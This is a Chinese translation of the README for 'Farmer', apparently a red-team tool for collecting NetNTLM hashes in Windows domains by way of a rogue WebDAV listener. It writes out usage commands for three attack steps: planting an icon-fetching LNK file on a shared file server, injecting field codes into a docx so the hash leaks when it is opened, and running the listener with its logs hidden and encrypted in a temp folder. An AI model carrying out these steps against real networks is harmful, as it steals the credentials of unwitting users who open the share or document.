Farmer

作者：@domchell

概述

我想当个农夫，于是开始收割哈希

Farmer 是一个用于在 Windows 域中收集 NetNTLM 哈希的项目。Farmer 通过创建一个本地 WebDAV 服务器来实现这一点，该服务器会使得 WebDAV 迷你重定向器从任何连接的客户端进行身份验证。

要使 Farmer 成功，客户端必须能够连接到本地 WebDAV 服务器。可能阻碍此过程的因素包括网络隔离和/或 Windows 防火墙。请务必先检查这些因素（提示 Seatbelt WindowsFirewall）。

播撒作物

Farmer 包含一个用于 Crop 工具的子模块，该工具可用于创建 LNK 文件，当浏览到存储 LNK 的文件夹时，该文件会启动 WebDAV 连接，因为资源管理器会尝试渲染存储的图标。

此攻击的概念是：你应该使用 Crop 向目标文件共享投递指向 Farmer WebDAV 服务器的 LNK 文件。

例如：

crop.exe \\fileserver\Common crop.lnk \\workstation@8888\harvest \\workstation@8888\harvest

当任何用户浏览到 \fileserver\Common 时，资源管理器会尝试从 Farmer WebDAV 服务器获取图标，从而提交用户的 NetNTLM 哈希。

施肥

Farmer 还包含另一个用于 Fertiliser 工具的子模块，该工具可用于向 Office 文档（目前仅限 docx）注入恶意域代码。这会导致文档打开时解析域代码，并将哈希泄漏到你选择的 WebDAV 服务器 :)

例如：

Fertiliser.exe \\fileserver\important.docx http://workstation:8888/foo "Update required"

农事

Farmer 将在用户定义的端口上监听，持续一定秒数，并在需要时将输出写入文件系统：

用法：

farmer.exe <port> [seconds] [output]

如果未指定秒数或设置为 0，Farmer 将无限期运行，例如：

farmer.exe 8888 0 c:\windows\temp\test.tmp

若要在端口 8888 上运行 Farmer 一分钟，请执行以下操作：

farmer.exe 8888 60

如果你希望将 Farmer 日志写入文件系统，可以使用 Config.key 中设置的密钥对日志文件进行 AES 加密，并将 encrypt 布尔值设为 true（默认为 false）。

日志文件可以使用 HarvestCrop 工具解密，例如：

harvestcrop.exe c:\windows\temp\test.tmp farmer